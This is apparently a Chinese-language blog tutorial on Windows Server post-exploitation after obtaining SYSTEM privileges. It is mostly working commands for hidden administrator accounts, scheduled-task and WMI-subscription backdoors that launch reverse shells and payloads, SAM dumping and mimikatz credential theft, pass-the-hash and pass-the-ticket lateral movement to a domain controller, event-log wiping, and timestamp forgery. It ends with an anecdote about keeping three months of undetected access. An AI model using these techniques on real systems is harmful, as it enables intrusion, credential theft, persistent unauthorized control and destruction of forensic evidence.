
Windows Server提权后渗透实战从SYSTEM权限到持久化控制当你看到那个梦寐以求的SYSTEM权限命令行窗口时心跳加速的感觉一定很美妙。但别急着庆祝——这仅仅是开始。真正的挑战在于如何将这个脆弱的临时权限转化为持久控制同时在复杂的网络环境中保持隐蔽。本文将带你深入探索Windows Server提权后的关键操作路径从权限维持到痕迹清理构建完整的后渗透工作流。1. 权限维持从临时到持久获得SYSTEM权限的shell就像手握一张随时可能过期的门票。我们需要立即着手将其转化为稳定的访问通道。1.1 创建隐藏管理员账户直接添加管理员账户容易被发现更隐蔽的做法是激活系统内置的隐藏账户或克隆现有账户# 查看所有用户包括隐藏账户 net user /domain # 克隆管理员账户的SID wmic useraccount where nameAdministrator get sid # 修改注册表创建隐藏账户 reg add HKLM\SAM\SAM\Domains\Account\Users\Names\HiddenAdmin /v /t REG_DWORD /d 0x1f4 /f提示操作SAM注册表项需要SYSTEM权限这正是我们当前的优势1.2 计划任务持久化比起直接创建服务计划任务更不容易引起注意schtasks /create /tn WindowsUpdateTask /tr C:\Windows\System32\cmd.exe /c start /b C:\temp\reverse_shell.exe /sc onlogon /ru SYSTEM /f关键参数说明参数作用推荐值/tn任务名称模仿系统任务/tr执行程序使用绝对路径/sc触发频率onlogon/onstart/ru运行账户SYSTEM1.3 WMI事件订阅高级持久化技术通过WMI事件触发后门$filterArgs { EventNamespace root\cimv2 Name WindowsUpdateFilter Query SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA Win32_Process QueryLanguage WQL } $filter Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs { Name WindowsUpdateConsumer CommandLineTemplate C:\Windows\System32\cmd.exe /c start C:\temp\payload.exe } $consumer Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments { Filter $filter Consumer $consumer }2. 信息收集从单机到域环境拥有SYSTEM权限后信息收集的广度和深度将呈指数级增长。2.1 本地敏感数据提取密码哈希获取reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save使用mimikatz解密mimikatz # lsadump::sam /sam:sam.save /system:system.save浏览器凭证提取# 查找浏览器保存的密码 Get-ChildItem C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data -ErrorAction SilentlyContinue2.2 域环境侦察当服务器加入域时SYSTEM权限可以获取更多域内信息# 获取域控制器信息 nltest /dclist: # 查询域策略 gpresult /h report.html # 导出域用户列表 net user /domain关键域信息存储位置%SystemRoot%\NTDS\ntds.dit(Active Directory数据库)%SystemRoot%\System32\config\SYSTEM(域控制器系统配置)%SystemRoot%\System32\winevt\Logs\Security.evtx(安全事件日志)3. 横向移动突破网络边界3.1 凭证传递攻击哈希传递(PTH)mimikatz # sekurlsa::pth /user:Administrator /domain:corp /ntlm:329153f560eb329c0e1deea55e88a1e9 /run:cmd.exe票据传递(Kerberos)mimikatz # sekurlsa::tickets /export mimikatz # kerberos::ptt [0;2d7f8]-2-0-40e10000-Administratorkrbtgt-CORP.COM.kirbi3.2 远程服务利用WMI远程执行$cred New-Object System.Management.Automation.PSCredential(CORP\Admin, (ConvertTo-SecureString Pssw0rd! -AsPlainText -Force)) Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList cmd.exe /c ipconfig -ComputerName DC01 -Credential $credPSExec替代方案# 使用内置Windows工具实现类似功能 sc \\dc01 create RemoteSvc binpath cmd /c start C:\temp\beacon.exe sc \\dc01 start RemoteSvc4. 隐蔽与清理消除行动痕迹4.1 日志清除技术单条日志删除# 获取事件日志 $log Get-WinEvent -LogName Security -FilterXPath *[System[(EventID4624)]] -MaxEvents 1 # 删除特定事件 wevtutil epl Security C:\temp\security_backup.evtx /q:*[System[(EventID4624)]] wevtutil cl Security wevtutil al C:\temp\security_backup.evtx全日志清除for /f %x in (wevtutil el) do wevtutil cl %x4.2 文件系统痕迹处理时间戳伪造# 将文件时间设置为系统文件时间 $sysfile Get-Item $env:windir\system32\kernel32.dll Get-ChildItem C:\temp\malware.exe | ForEach-Object { $_.CreationTime $sysfile.CreationTime $_.LastWriteTime $sysfile.LastWriteTime $_.LastAccessTime $sysfile.LastAccessTime }文件删除最佳实践# 使用cipher命令安全覆盖空闲空间 cipher /w:C:\temp # 然后删除文件 del /f /s /q C:\temp\exploit_tool.exe4.3 权限降级策略长期保持SYSTEM权限会增加暴露风险适时降级# 创建普通用户会话 runas /user:domain\standarduser cmd.exe # 或者切换到IIS等服务账户 psexec -i -u NT AUTHORITY\LOCAL SERVICE cmd.exe在实际渗透测试中我曾遇到一个案例通过Juicy Potato获得SYSTEM权限后过度活跃的操作触发了SIEM告警。后来采用低慢小策略——保持最低必要权限操作分散在不同时间段成功维持了3个月的持久访问而未触发警报。